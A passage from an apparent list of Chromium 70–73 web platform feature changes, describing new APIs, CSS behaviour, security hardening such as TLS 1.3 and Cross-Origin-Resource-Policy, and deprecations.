number (for example, “NJH47F” or “OPM4.171019.021.D1” on Android) has been removed from the user-agent identification (User-Agent header and navigator.userAgent) on Android and on iOS. The iOS change follows Safari’s implementation and freezes the build number as “15E148” instead of removing it. This will prevent abuses of that information such as exploit targeting and fingerprinting. It’ll also bring Chrome closer in line with RFC 7231 section 5.5.3. <ol start="11"> <li>Rename Atomics.wake() to Atomics.notify()</li> </ol> The Atomics.wake() method is being renamed Atomics.notify(). This is a low-level function to wake a Worker that has been suspended via Atomics.wait(). This conforms to a specification change made to alleviate confusion created by the similarity of the names wait and wake. <ol start="12"> <li>Support Opus in mp4 (ISO-BMFF) with Media Source Extensions (MSE)</li> </ol> Opus is an audio codec already supported by the HTML5 src attribute on <code><url></code> elements. This applies to mp4, ogg, and webm containers as well as in webm containers using Media Source Extensions. This change adds support for the Opus codec in the mp4 container to MSE. <ol start="13"> <li>Support codec and container switching with MSE using SourceBuffer.changeType()</li> </ol> This change adds the SourceBuffer.changeType() method to improve cross-codec or cross-bytestream transitions during playback with Media Source Extensions. <ol start="14"> <li>Support for Touch ID as a platform authenticator via the Web Authentication API</li> </ol> This feature is a built-in Web Authentication/CTAP platform authenticator for Chrome on macOS based on the Touch ID fingerprint sensor and secure element in Macbook Pros with Touch bars. It allows users to use Touch ID for 2-factor authentication on sites that implement this via the Web Authentication API. <ol start="15"> <li>Symbol.prototype.description</li> </ol> A description property is being added to Symbol.prototype. This provides a more ergonomic way of accessing the description of a Symbol. Previously, the description could be only be accessed indirectly through the Symbol.protoype.toString(). <ol start="16"> <li>TLS 1.3</li> </ol> TLS 1.3 is an overhaul of the TLS protocol with a simpler, less error-prone design that improves both efficiency and security. The new design reduces the number of round-trips required to establish a connection and removes legacy insecure options, making it easier to securely configure a server. It additionally encrypts more of the handshake and makes the resumption mode more resilient to key compromise. <ol start="17"> <li>The <code><rp></code> element defaults to display:none</li> </ol> The default style of the <code><rp></code> element is changed to “display:none” instead of “display:inline” even if it is not inside the <code><ruby></code>element as defined in HTML specification. This behavior is implemented in the UA style sheet, but the web author can override it. Behavior in other browsers: <ul> <li>Edge: display:inline (outside <code><ruby></code>), display:none (inside <code><ruby></code>)</li> <li>Firefox: display:none</li> <li>Safari: display:inline, display:none (inside <code><ruby></code>)</li> </ul> <ol start="18"> <li>The ontouch* APIs default to disabled on desktop</li> </ol> To avoid confusion on touch feature detection, ontouch* members on window, document, and element are disabled by default on desktop devices (Mac, Windows, Linux, ChromeOS). Note that this is not disabling touches, and usage such as <code>addEventListener("touchstart", ...)</code> is not being affected. <ol start="19"> <li>Update behavior of CSS Grid Layout percentage row tracks and gutters</li> </ol> This updates the behavior of percentage row tracks and gutters in grid containers with indefinite heights. Previously, these were behaving similarly to percentage heights in regular blocks, but the CSS WG has resolved to make them behave the same as for columns, making them symmetric. Percentages are now ignored when computing intrinsic height and resolved afterwards against that height. That way both column and row axes will have symmetric behavior to resolve percentages tracks and gutters. <ol start="20"> <li>WebSocket: permit connection reuse for auth</li> </ol> When receiving a 401 HTTP response during the WebSocket handshake, Chrome will attempt to continue authentication on the same socket. Windows HTTP authentication usually requires a single connection to be reused for authentication to succeed. Until now, Chrome has always closed the connection on a 401 status response, so Windows authentication has not worked. Windows authentication support is mostly useful in enterprise environments where single-sign-on is used. <ol start="21"> <li>WebUSB on Dedicated Workers</li> </ol> WebUSB is enabled inside dedicated worker contexts. This allows developers to perform heavy I/O and processing of data from a USB device on a separate thread to reduce the performance impact on the main thread. <ol start="22"> <li>Deprecate and remove navigator.getGamepads().item(index)</li> </ol> This change deprecates and removes the legacy “item()” accessor method for the array of Gamepads returned by navigator.getGamepads(). This change improves compatibility with Firefox which is so far the only browser to implement GamepadList. <ol start="23"> <li>Remove AppCache from non-secure contexts</li> </ol> AppCache is now removed from insecure contexts. AppCache is a powerful feature that allows offline and persistent access to an origin, which is a powerful privilege escalation for an XSS. This will remove that attack vector by only allowing it over HTTPS. This feature was deprecated in Chrome 67. <ol start="24"> <li>Remove HTMLFrameSetElement’s anonymous getter.</li> </ol> Deprecate and remove HTMLFrameSetElement’s anonymous getter which is non-standard. <ol start="25"> <li>Token Binding</li> </ol> Token binding allows servers to cryptographically bind bearer tokens (such as cookies) to the TLS layer, to prevent attacks where an attacker exports a bearer token from the user’s machine to present to a web service and impersonate the user. <h3>chromium71 Features:28</h3> <ol> <li>Autoplay Policy for Web Audio</li> </ol> Web Audio will follow the rules of the autoplay policy already followed by other parts of Chrome able to produce sound. When an AudioContext is created, it will start as suspended if it wasn’t allowed to play. Calling resume() will only start the AudioContext if it is allowed to play. Furthermore, a previously blocked AudioContext will automatically be resumed if start() is called on a connected node after the document is user activated. <ol start="2"> <li>‘left’ and ‘right’ values for the ‘text-underline-position’ property</li> </ol> CSS3 Text Decoration spec adds new properties that implement new text decoration styling features such as lines, color, and style. This feature adds support for ‘left’ and ‘right’ values of the ‘text-underline-position’ property. The property itself shipped in Chrome 57. Currently, in vertical flow for Chinese and Japanese, which side the underline appears on is not the same across browsers. This enhancement fixes that. <ol start="3"> <li>:host, :host-context, and ::slotted specificity</li> </ol> Chrome did not count the specificity for the :host() and :host-context() pseudo classes themselves. ::slotted() did not count the specificity for its arguments. This was not specified until 1 was resolved. From M71 Chrome ships specificity calculations per spec for Shadow DOM v1. The old behavior is kept for v0 for compatibility with existing content. 1 https://github.com/w3c/csswg-drafts/issues/1915 Bugs: https://crbug.com/888042 https://crbug.com/857415 <ol start="4"> <li>Add FullscreenOptions</li> </ol> Adds the ability to customize the requestFullscreen API with FullscreenOptions on Android. This allows developers to chose between making the navigation bar visible versus a completely immersive mode where no user agent controls are shown until a gesture is performed. Some developers may prefer that the navigation bar be visible when entering fullscreen mode as it can be difficult for users to determine how to exit fullscreen mode. Some browsers such as Samsung also make this the default. <ol start="5"> <li>Async touchpad pinch zoom events</li> </ol> Async touchpad pinch zoom events are for improving the page pinch zoom performance. Currently, the touchpad pinch zoom exposes a control wheel event that allows JS to cancel it. With this change, if the user doesn’t make a pinch action on the touchpad, effectively canceling the control wheel event, then following control wheel events are not cancelable. But JavaScript does not know which ctrl wheel is the first one in the sequence, so if you want to cancel pinch zoom, you need to cancel all of t <ol start="6"> <li>COLR/CPAL font support</li> </ol> COLR/CPAL fonts are one type of OpenType color fonts. These fonts compose layers of vector outline glyphs and color palette information into the final colored glyph. With this change, Chrome will support 3 color font formats cross-platform, the other two being CBDT/CBLC and SBIX. Because they are vector based, COLR/CPAL fonts provide for faster downloads and require less storage. An example of a COLR/CPAL font is the Twemoji color font (https://github.com/mozilla/twemoji-colr). <ol start="7"> <li>CSS gradient color stop double-position syntax</li> </ol> Add support for CSS Image Values 4 color stop position syntax. Currently, repeating colors require explicit positions, for example: linear-gradient(45deg, black 25%, black 50%, white 50%, white 75%) To simplify the definition of solid color bands, css-images-4 allows specifying up to two positions for a color: linear-gradient(45deg, black 25% 50%, white 50% 75%) <ol start="8"> <li>Call capture event listeners in capturing phase at shadow hosts</li> </ol> Call capture event listeners in capturing phase at shadow hosts. Per the discussion of https://github.com/whatwg/dom/issues/685, Blink will align the event dispatch behavior to other browsers; Call capture event listeners in capturing phase at shadow hosts. <ol start="9"> <li>ImageCapture support for exposureTime constraint</li> </ol> Image Capture API has a means to set exposureMode to manual which is not useful if you cannot set the exposure time (aka shutter speed, aka exposure duration). This change provides an interface for getting the exposure time range values as well as setting the exposure time in time units. <ol start="10"> <li>IndexedDB database enumeration</li> </ol> IndexedDB databases() returns a list of all databases accessible by the origin of the current frame. The return value is a Promise that resolves with a list of IDBDatabaseInfo objects (currently just dictionaries of database name and version). <ol start="11"> <li>Intl.RelativeTimeFormat</li> </ol> Intl.RelativeTimeFormat helps libraries and frameworks format relative time in a localized fashion by providing internationalized messages for date and time fields, using a customary local word or phrase when available. For example, calling its format() method with -5 and ‘day’ would return the string ‘5 days ago’. Intl.RelativeTimeFormat is available behind a flag in Firefox 58. <ol start="12"> <li>Permission API: “persistent-storage” property</li> </ol> The “persistent-storage” property is a new permission for the Permission API. The permission state can already be queried with navigator.storage.persisted(), with this change navigator.permissions.query({name:“persistent-storage”}) can be used as well. <ol start="13"> <li>Permission Delegation</li> </ol> Currently, iframes on the web can make permission requests and users will be shown permission prompts that contain the origin of the iframe. Making permission decisions for iframes and managing previous decisions is complicated and confusing. To address this problem, we propose that users only ever be required to make permission decisions about the top level origin of a website. It is then up to the top level website to delegate permission to the various iframes which it embeds, if it chooses. <ol start="14"> <li>Picture-in-Picture (PiP)</li> </ol> The Picture-in-Picture API allows websites to create a floating video window that is always on top of other windows so that users may continue consuming media while they interact with other sites or applications on their device. This change only applies to <code><video></code> elements. <ol start="15"> <li>Rename Intl.DateTimeFormat.prototype.formatToParts type “dayperiod” to “dayPeriod”</li> </ol> This change corrects a non-compliant type in the formatToParts implementation. <ol start="16"> <li>TextEncoderStream and TextDecoderStream APIs</li> </ol> Text encoding and decoding will support streams to enable you to easily convert streams of binary data to text and vice-versa. An example of its usefulness is with readable streams. With a non-stream Response object, response.Body.text() returns text. There is no equivalent for the ReadableStream returned by Response.Body, which can only return bytes. With the new API a streaming response body may be converted to text as so: Response.Body.pipeThrough(new TextDecoderStream()). <ol start="17"> <li>Unprefixed Fullscreen API</li> </ol> The fullscreen API has features for entering, and exiting fullscreen mode as well as event handlers for monitoring such changes. A prefixed version of the API has been supported since Chrome 15. This update adds an unprefixed version of the API. <ol start="18"> <li>Web Authentication getTransports</li> </ol> The W3C Web Authentication API1 provides an official replacement for the internal extension that Chrome ships to implement the FIDO U2F API for security keys. The getTransports call is part of the current level two draft[2] and provides transport (e.g. USB, NFC, etc) information without wedging it into the attestation certificate, which is the current practice. 1 https://w3c.github.io/webauthn/ [2] https://github.com/w3c/webauthn/commit/11d549048ac5e462a4f9f44499032302adb29800 <ol start="19"> <li>WebAssembly PostMessage</li> </ol> Extends WebAssembly to support PostMessage of WebAssembly.Module objects to Web Workers. To clarify, this is scoped to just Web Workers (same process, different thread), and not extended to cross-process scenarios (such as cross-origin postMessage, or shared web workers). <ol start="20"> <li>WebAudio: MediaElement and MediaStream nodes defined only for AudioContext</li> </ol> Chrome historically allowed creation of MediaElementAudioSourceNode’s, MediaStreamAudioSourceNode’s, and MediaStreamAudioDestinationNode’s using an OfflineAudioContext. This does not comply with the spec; these nodes should only be available for an AudioContext. The behavior with an OfflineAudioContext is not well-defined and contrary to the real-time nature of the nodes themselves. Thus, only allow these nodes to be constructed for an AudioContext. <ol start="21"> <li>globalThis</li> </ol> <code>globalThis</code> enables a universal mechanism to access the global object even in strict functions or modules, regardless of the platform. <ol start="22"> <li>queueMicrotask</li> </ol> Adds a new method, queueMicrotask() that allows direct queueing of a callback to run as a microtask. Microtasks are callbacks that run just before the current task ends. Current examples are callbacks for promises that resolve immediately. This method is available on the window and worker objects. See the explainer: https://github.com/fergald/docs/blob/master/explainers/queueMicrotask.md <ol start="23"> <li>Deprecate and Remove URL.createObjectURL for MediaStream</li> </ol> This API has been deprecated in 2013 and superseded by assigning streams to srcObject. <ol start="24"> <li>Remove SpeechSynthesis.speak without user activation</li> </ol> This deprecation will cause speechSynthesis.speak to immediately fire an error if the document has not received user activation. This API is being abused by sites since it is one of the only remaining APIs which didn’t adhere to autoplay policies in Chrome. This was deprecated in Chrome 70. <ol start="25"> <li>Remove importScripts() of new scripts after service worker installation.</li> </ol> Until this deprecation, a service worker could use importScripts() to import any script at any time. After this change, a service worker can only importScripts() in two cases: <ul> <li>Before installation finishes (from the initial execution of the service worker until it reaches the <code>installed</code> state).</li> <li>After installation finishes, only for scripts that were already imported in the previous phase.</li> </ul> <ol start="26"> <li>Remove prefixed WebKitAnimationEvent interface</li> </ol> The prefixed WebKitAnimationEvent interface will be removed. It is a non-standard alias for the widely supported AnimationEvent interface (https://developer.mozilla.org/en-US/docs/Web/API/AnimationEvent). For interoperability between browsers, web developers should use the standard AnimationEvent instead. <ol start="27"> <li>Remove prefixed WebKitTransitionEvent interface</li> </ol> The prefixed WebKitTransitionEvent interface will be removed. It is a non-standard alias for the widely supported TransitionEvent interface (https://developer.mozilla.org/en-US/docs/Web/API/TransitionEvent). For interoperability between browsers, web developers should use the standard TransitionEvent instead. <ol start="28"> <li>document.origin</li> </ol> The document.origin property will be deprecated and removed in Chromium, and then likely also removed from the DOM Standard. This property was only ever implemented in Chromium and WebKit. It is redundant with self.origin which can be used in both window and worker contexts and has wider support. <h3>chromium72 Features:26</h3> <ol> <li>Crash Reports</li> </ol> Crash reports are a new type of report available via the Reporting API. These reports indicate that a crash occurred on a page and possibly the reason it occurred (out of memory for example). <ol start="2"> <li>ECMAScript module namespace exports</li> </ol> This feature extends the existing syntax for module exports by the form export * as foo from “bar” which is the analogue to the existing form import * as foo from “bar” <ol start="3"> <li>ErrorEvent interface on web workers</li> </ol> The ErrorEvent interface, inheriting from from its parent Event, represents events providing information related to errors in scripts or in a file. According to specifications, unhandled runtime script errors fire an ErrorEvent at a target and this interface should be exposed to web workers. <ol start="4"> <li>Interoperable File.webkitRelativePath property</li> </ol> The File.webkitRelativePath of the File interface previously returned a value different from other major browsers, now it returns the same value. For example, if a user has the following local files: /tmp/a/foo/bar/1.txt, /tmp/a/foo/2.txt and they selected /tmp with a file chooser dialog, webkitRelativePath in Chrome was: foo/bar/1.txt, foo/2.txt Other browsers, which Chrome now matches, return this: tmp/a/foo/bar/1.txt, tmp/a/foo/2.txt <ol start="5"> <li>Intl.ListFormat</li> </ol> Intl.ListFormat helps libraries and frameworks format a list in a localized fashion by providing internationalized messages using a customary local word or phrase when available. For example, calling its format() method with [“Alice”, “Bob”, “Charlie”, “Delta”] returns the string “Alice, Bob, Charlie, and Delta” in English. <ol start="6"> <li>JavaScript Modules: Credentials mode defaults to “same-origin”</li> </ol> The default credentials mode for module script requests is changing from “omit” to “same-origin”, providing credentials to same-origin module script requests and their descendant scripts (static & dynamic imports). The current behavior can be surprising in that it’s misaligned with other high-level features like the Fetch API, and in the web platform’s current architecture, causes a second server connection. This is undesirable for developers looking to reduce latency. <ol start="7"> <li>MediaStream.getDisplayMedia()</li> </ol> Captures a screen or application window to a MediaStream, for recording or sharing over the network. This allows conferencing services to provide shared presentations in a conference, and allows remote control tools like Chrome Remote Desktop to provide an image of the controlled computer’s screen to the controlling computer. <ol start="8"> <li>MediaStreamTrack resizeMode constraint</li> </ol> This property controls the method the browser uses to derive the resolution of a MediaStreamTrack. There are two supported values: “none”: the track has the native resolution provided by the camera, its driver, or the OS. “crop-and-scale”: the browser may use cropping and rescaling to adjust the resolution of the video produced by the camera. This is useful for getting more consistent behavior across browsers, or if an application wants to make sure it gets only native resolutions. <ol start="9"> <li>Navigator.languages and languagechange event on workers</li> </ol> The navigator.languages property exposes the Accept Language header and the languageevent, which is fired on the Window object to notifiy scripts of changes to this value. Both features allow web applications to handle i18n in the client and react to user language changes. This change makes these features available to workers. Specifically, navigator.languages is available on workers and languageevent is fired on workers as well as the main thread. <ol start="10"> <li>Public class fields</li> </ol> This feature introduces public fields to classes in ECMAScript. class MyClass { instanceProperty = 0; static staticProperty = 0; } <ol start="11"> <li>RTCPeerConnection.connectionState and RTCPeerConnection.onconnectionstatechanged</li> </ol> RTCPeerConnection.connectionState is a aggregate value computed from the transport states of the peerconnection’s underlying ICE and DTLS transports. It’s intended to provide a more complete overview of the connection state than RTCPeerConnection.iceConnectionState, which is only supposed to be based on the ICE transports. <ol start="12"> <li>Service worker: FetchEvent.resultingClientId</li> </ol> FetchEvent.resultingClientId, set on navigation requests or requests for workers, is the ID of the client, either a document or a worker that is created by the request. This is useful for associating the main resource request for a document with subsequent subresource requests from the document for logging and metrics purposes. <ol start="13"> <li>Service worker: FetchEvents for requests for same-origin favicons.</li> </ol> Previously, technical limitations prevented service workers from receiving FetchEvents for favicon requests. Now, service workers receive FetchEvents as long as the request URL is on the same-origin as the service worker. <ol start="14"> <li>Trusted Web Activities</li> </ol> Trusted Web Activities are a mode of Chrome Custom Tabs without browser UI, available to web content an app developer controls. We want the modern mobile web (primarily PWAs) to go mainstream. Nevertheless, they make up a small proportion of app experiences on Android today. The vast majority of developers simply haven’t made one yet. TWAs lower the risks of distribution by allowing developers to integrate their PWA into a native app and give PWA developers the same capabilities as native apps. <ol start="15"> <li>User Activation Query API</li> </ol> Some APIs cannot be used with a user activation (https://html.spec.whatwg.org/multipage/interaction.html#activation). Examples include requestFullScreen(), autoplay, window.open(). This restriction is a powerful tool for preventing annoying behavior by web pages. Unfortunately, there is no way to determine if a user activation is active. The User Activation Query API adds this ability. <ol start="16"> <li>User Activation v2</li> </ol> User activation is the mechanism to maintain active-user-interaction state that limits use of “abusable” APIs (e.g. opening popups or vibrating). The web exposed behavior varies widely among major browsers. To unify the web, this feature defines a new user activation model that is simple enough for cross-browser implementation. The main changes introduced by this model are: (a) there is no concept of token passing, and (b) activation visibility changes from stack-scoped to frame-scoped. <ol start="17"> <li>WebRTC Unified Plan SDP</li> </ol> RTCPeerConnections generate and parse SDP according to the standardized format. Exchanging SDP is needed to set up calls in WebRTC. Following the standard is important for cross-browser interoperability. Unified Plan also enables the RTCRtpTransceiver APIs. Changing from the old (“Plan B”) to the new format can cause backwards-compatibility issues or break applications, see the Transition Guide: https://docs.google.com/document/d/1-ZfikoUtoJa9k-GZG1daN0BU3IjIanQ_JSscHxQesvU/edit?usp=sharing <ol start="18"> <li>Well-formed JSON.stringify</li> </ol> A Stage 3 ECMAScript proposal changes JSON.stringify to prevent it from returning ill-formed Unicode strings. Previously, JSON.stringify would output lone surrogates if the input contained any lone surrogates: <pre><code> JSON.stringify("\uD800"); // --> '"�"' </code></pre> With this change, JSON.stringify outputs escape sequences for lone surrogates, making its output valid Unicode (and representable in UTF-8): <pre><code> JSON.stringify("\uD800"); // --> '"\ud800"' </code></pre> <ol start="19"> <li>Worker unhandled exception propagation</li> </ol> For dedicated workers, if an error is not handled then it will be propagated up to the parent context and the error reporting process begins again one layer up (e.g., to the window’s onerror handler). This allows for errors to be propagated up to the original document giving developers the freedom to choose when and how to handle worker errors. <ol start="20"> <li>TLS 1.0 and TLS 1.1</li> </ol> Deprecate TLS 1.0 and 1.1, targeting removal in Chrome 81 (early 2020). During the deprecation period, sites using those protocols will show a warning in DevTools. After the deprecation period, in 2020, they will fail to connect if they have not upgraded to TLS 1.2 by then. <ol start="21"> <li>Cache API: reject addAll() when requests would overwrite each other</li> </ol> The <code>Cache.addAll()</code> API allows multiple entries to be added to the cache at once. The spec requires that each request/response pair avoid overwriting another entry being added in the same call. Previously chrome would resolve such conflicts by storing the later entry and ignoring the earlier entry. This feature is to fix this behavior and properly reject with InvalidStateError. <ol start="22"> <li>Remove HTTP-Based Public Key Pinning</li> </ol> HTTP-Based Public Key Pinning (HPKP) was intended to allow websites to send an HTTP header that pins one or more of the public keys present in the site’s certificate chain. It has very low adoption, and although it provides security against certificate misissuance, it also creates risks of denial of service and hostile pinning. See https://groups.google.com/a/chromium.org/d/msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ for details. <ol start="23"> <li>Rendering FTP resources</li> </ol> FTP is a non-securable legacy protocol. When even the linux kernel is migrating off of it (https://www.kernel.org/shutting-down-ftp-services.html), it’s really time to move on. One step toward deprecation and removal is to deprecate rendering resources from FTP servers and instead download them. We’ll still generate directory listings, but any non-directory listing could be downloaded rather than rendered in the browser. <ol start="24"> <li>Treat ‘#’ as ending data URI body content</li> </ol> By spec, ‘#’ characters in data URIs should not be treated as part of the URI body, and should instead only mark the start of the URI fragment component. Historically Chrome has not adhered to the spec, instead treating ‘#’ characters as both fragment-starters and part of the body. <ol start="25"> <li>Intervention: Rewrite slow pages for Lite Mode (Data Saver) users</li> </ol> On web pages that are expected to load slowly, Chrome may modify loading behavior to provide a faster page load to Lite Mode (Data Saver) users. This behavior modification can take many forms including but not limited to: blocking specific resources, loading partial resources, loading a previously saved version of the page, using Google servers to rewrite pages, etc. <ol start="26"> <li>Intervention: Stop loading of non-critical resources on slow pages for data saver users</li> </ol> On webpages that are expected to load slowly, stop loading of non-critical resources. This includes (but is not limited to) JavaScript and CSS resources that do not contribute significantly to the visual appearance. This would be limited to only the data saver users. Users are shown a Lite Mode UI in the omnibox. Users can load default behavior by tapping “Show original” in the omnibox UI. An intervention report is sent when this optimization occurs. <h3>chromium73 Features:36</h3> <ol> <li>CanvasRenderingContext2D.getContextAttributes()</li> </ol> This method allows web developers to read back the ContextAttributes consumed by the platform and compare them to what were requested. Shipping this method will allow lining up with WebGL’s homonymous method. 1 https://cs.chromium.org/chromium/src/third_party/blink/renderer/modules/canvas/canvas2d/canvas_rendering_context_2d.idl?l=142 <ol start="2"> <li>RTCQuicTransport & RTCQuicStream</li> </ol> A standalone API using the QUIC transport protocol to exchange arbitrary data with remote peers. This provides a generic multiple-way transport that doesn’t use the full PeerConnection stack designed for media purposes. The base API is shared with WebTransport. The difference is the RTCQuicTransport is P2P and uses ICE. For discussion on the webtransport see: https://discourse.wicg.io/t/webtransport-proposal/3508 https://github.com/WICG/web-transport <ol start="3"> <li>::part pseudo element on shadow hosts</li> </ol> This specification defines the ::part() pseudo-element on shadow hosts, allowing shadow hosts to selectively expose chosen elements from their shadow tree to the outside page for styling purposes. <ol start="4"> <li>CSS: Use the response URL as the base URL</li> </ol> The base URL of stylesheets is now the response URL of the stylesheet rather than the request URL. These are only different if a service worker provided the response. If the service worker does respondWith(fetch(url)), the base URL becomes url. Also, to align with the specification, stylesheets that (a) failed to load due to network error, or (b) loaded via a redirect from cross-origin back to same-origin are considered cross-origin. <ol start="5"> <li>Constructible Stylesheets</li> </ol> The API provides a way to create CSSStyleSheet objects from script without needing <code><style></code> or <code><link></code> elements. Script can optionally modify the stylesheet by adding, removing, or replacing rules in it. Each stylesheet object can then be adopted/used in multiple tree scopes (document/shadow roots). Not only does this reduce memory duplication, it also allows an element’s styles to be modified in a single location. <ol start="6"> <li>Cross-Origin Resource Policy</li> </ol> “Cross-Origin-Resource-Policy” response header allows http servers to ask the browser to prevent cross-origin or cross-site embedding of the returned resource. It is complementary to the Cross-Origin Read Blocking feature and is especially valuable for resources not covered by CORB (which only protects HTML, XML and JSON). “Cross-Origin-Resource-Policy” is currently the only way to protect images against Spectre attacks or against compromised renderers. <ol start="7"> <li>DOMMatrixReadOnly.scaleNonUniform()</li> </ol> This function post-multiplies a non-uniform scale transformation on the current matrix and returns the resulting matrix. It is being re-added to support legacy compatibility with SVGMatrix. Non-uniform scaling is a transformation in which at least one of the scaling factors is different from the others. For example, non-uniform scaling might turn a rectangle into a square or a parallelogram. <ol start="8"> <li>EME Extension: HDCP Policy Check</li> </ol> This feature provides applications the ability to query whether a certain HDCP policy can be enforced so that playback can be started at the optimum resolution for the best user experience. <ol start="9"> <li>Flexbox: min-height: auto applies to nested flex boxes</li> </ol> We changed our rendering to match the flexbox specification and other browsers. In previous versions, Chrome did not implement the automatic minimum size for the specific case of a column flexbox containing a flex item that is itself a flexbox. We have now changed this so that such flex items do get the right minimum size. This can cause flex items to not shrink anymore when they used to; to avoid that, set min-height: auto on the flex item. <ol start="10"> <li>GamePad API: GamepadButton touched attribute</li> </ol> Provides the touched state of a gamepad button, which indicates whether a finger is on a button independent of whether it’s being pressed. <ol start="11"> <li>Implicit Root Scroller</li> </ol> Allows viewport-filling scrollers (iframes, divs) to perform document-level scrolling actions. I.e. show/hide URL bar, overscroll glow, rotation anchoring, etc. <ol start="12"> <li>Media Session</li> </ol> Enable websites to customize media metadata so they can control the notification and lock screen UI. Also allows control of media from outside a page, as well as using platform UIs and managing media keys. <ol start="13"> <li>Object.fromEntries()</li> </ol> Object.fromEntries() turns a list of key-value pairs into an object. <ol start="14"> <li>Origin-Signed HTTP Exchanges</li> </ol> Allows sites to send HTTP request/response pairs (exchanges) that are authoritative for an origin, even when the server itself is not authoritative for that origin. This is part of Web Packaging, which will allow people to share web applications peer-to-peer, while offline, with proof that an app comes from its original author. This also shares some infrastructure with signature-based SRI. <ol start="15"> <li>Per-media DSCP through RtpSender::SetParameters</li> </ol> Add a networkPriority field to RtcRtpSender Paremeters property to allow different senders’ media to use differnt DSCP markings. This allows the client to accept configuration from administrators to work better in constrained network environments, or with wifi WMM prioritization. <ol start="16"> <li>PerformanceObserver supportedEntryTypes</li> </ol> PerformanceObserver.supportedEntryTypes provides a way to feature-detect the PerformanceEntry types that are implemented in a web browser. The types are sorted alphabetically. For example, a developer running this in Chrome could get something like this in the console: PerformanceObserver.supportedEntryTypes // Output is: [“longtask”, “mark”, “measure”, “navigation”, “paint”, “resource”] <ol start="17"> <li>RTCConfiguration.offerExtmapAllowMixed</li> </ol> Adds a boolean property to RTCConfiguration.offerExtmapAllowMixed() to enable the extmap-allow-mixed attribute in a session description protocol (SDP) offer. The SDP attribute extmap-allow-mixed, as defined in RFC8285, will be included in the SDP offer if this property is set to true. The SDP attribute extmap-allow-mixed is supported from Chrome 71, but due to backwards compatibility problems it was not included in the SDP offer by default. <ol start="18"> <li>RTCRtpReceiver.getParameters()</li> </ol> The getParameters() method returns the RTCRtpReceiver object’s track decoding parameters, which includes the codec and RTP header lists negotiated for the call, the RTCP information, and the layer count. This API is analog to RTCRtpSender.getParameters() and presents similar information for a call, but on the receiver side. It does not allow modification of the call’s parameters. <ol start="19"> <li>RTCRtpReceiver.getSynchronizationSources()</li> </ol> The getSynchronizationSources() method returns the latest playout timestamps of RTP packets for audio and video receivers. This is useful for determining in real time which streams are active, such as for the use case of audio meters or prioritizing displaying active participant streams in the UI. <ol start="20"> <li>RegExp String.prototype.matchAll()</li> </ol> String.prototype.matchAll() behaves similarly to String.prototype.match(), but returns a full regexp result object for each match in a global or sticky regexp. This offers a simple way to iterate over matches when access to, for example, capture groups is needed. <ol start="21"> <li>Spec-compliant shadow blur-radius</li> </ol> Historically, Blink’s blur-radius interpretation has been at odds with both the CSS and Canvas2D specs: Blink shadows cover about half the expected area (see linked bug). With this change Gaussian blur sigma is now computed as 1/2 blur-radius, as mandated by spec. Blink’s shadow implementation now matches FireFox and Safari. <ol start="22"> <li>Transform list interpolation</li> </ol> Chrome will improve how CSS transforms are handled to reduce cases where a matrix interpolation fallback is used. An interpolation is an intermediate transformation. Sometimes interpretation of the CSS rule requires falling back to a matrix to accomplish the interpolation, and this can produce visual results other than what the web developer intends. To mitigate this, the spec was changed to reduce the number of situations when this can occur. <ol start="23"> <li>Treat Document Level Wheel/Mousewheel Event Listeners as Passive</li> </ol> The wheel/mousewheel event listeners that are registered on document level targets (window.document, window.document.body, or window) will be treated as passive if not specified as otherwise and calling preventDefault() inside such listeners will be ignored. This is the wheel version of the scrolling intervention which is shipped in Chrome 56: https://developers.google.com/web/updates/2017/01/scrolling-intervention <ol start="24"> <li>Turn RTCRtpContributingSource from an interface into a dictionary</li> </ol> The specification requires RTCRtpContributingSource to be a dictionary, but it was previously shipped as an interface. With this change RTCRtpContributingSource will no longer have a prototype and getContributingSources() will create a new set of objects with each call. <ol start="25"> <li>Windows Web Authentication APIs</li> </ol> This feature integrates Chrome on Windows with the Windows WebAuthn platform APIs. This enables talking to FIDO U2F and CTAP authenticators for 2-factor authentication over USB, BLE, NFC via the Web Authentication API. This additionally adds support for the Windows Hello platform authenticator for 2-factor and user-verifying authentication. <ol start="26"> <li>XHR: Use the response URL for responseURL and documents</li> </ol> XHR now uses the response URL rather than the request URL for responseURL and responseXML. These are only different if a service worker provided the response. If the service worker does respondWith(fetch(url)), then responseURL is url and responseXML.URL is url. <ol start="27"> <li>XSLT: Use the response URL as the base URL</li> </ol> The base URL of XSLT stylesheets is now the response URL of the stylesheet rather than the request URL. These are only different if a service worker provided the response. If the service worker does respondWith(fetch(url)), the base URL becomes url. <ol start="28"> <li>document.visibilityState set to “hidden” when WebContents is occluded</li> </ol> Thanks to the WebContents Occlusion feature in Chromium, the Page Visibility Web API will now reflect accurately the visibility state of web pages, especially when they are occluded. In other words, the document.visibilityState value will be “hidden” when browser tab/window is covered by one or multiple window(s). <ol start="29"> <li>imagesrcset and imagesizes attributes on link rel=preload</li> </ol> Add imagesrcset and imagesizes attributes to <code><link rel=preload as=image></code>, that correspond to the srcset and sizes attributes of HTMLImageElement. We are using imagesizes here instead of sizes because it already has a different meaning for HTMLLinkElement in the rel=icon case. <ol start="30"> <li>Sending custom per-request user-agent to HTTP proxies in CONNECT requests</li> </ol> When establishing an HTTPS connection over an HTTP/HTTPS/H2/QUIC proxy, we send a CONNECT request with its own set of headers. Currently, if the original HTTPS request had a custom user-agent string, we would send that with the CONNECT request, rather than the default user-agent header. We plan to remove this behavior, and just use the configured global user-agent header. <ol start="31"> <li>EXPLAIN and REINDEX support in WebSQL</li> </ol> EXPLAIN’s output is not guaranteed to be stable over SQLite versions, so developers cannot rely on it. REINDEX is only useful when collation sequence definitions change, and Chrome only uses the built-in collation sequences. <ol start="32"> <li>Remove isomorphic decoding of URL fragment identifier</li> </ol> When Chrome opens a URL with a fragment id, it decodes %xx and applies isomorphic-decode 1 to it, then tries to find an element with the decoding result as an ID in some cases. No other browsers do this, and it’s not defined by the standard. For example, if a user opens example.com/#%F8%C0, Chrome <ol> <li>searches the page for an element with id=“%F8%C0”</li> <li>If it’s not found, it searches the page for an element with id=“øÀ”</li> </ol> 1 https://infra.spec.whatwg.org/#isomorphic-decode <ol start="33"> <li>Auto Picture-in-Picture</li> </ol> Video in installed Progressive Web Apps (PWAs) will enter and exit picture-in-picture automatically when a document’s visibility changes. Web apps for video meetings will benefit by allowing picture-in-picture when users switch back and forth between web apps and other applications or tabs. This is currently not possible because a user gesture is required to enter picture-in-picture. <ol start="34"> <li>Feature Policy violation reporting</li> </ol> Enable reporting of feature policy violations through the Reporting API. <ol start="35"> <li>Skip Ad in Picture-in-Picture window</li> </ol> Show a “Skip Ad” button in Picture-in-Picture window that notifies websites when user 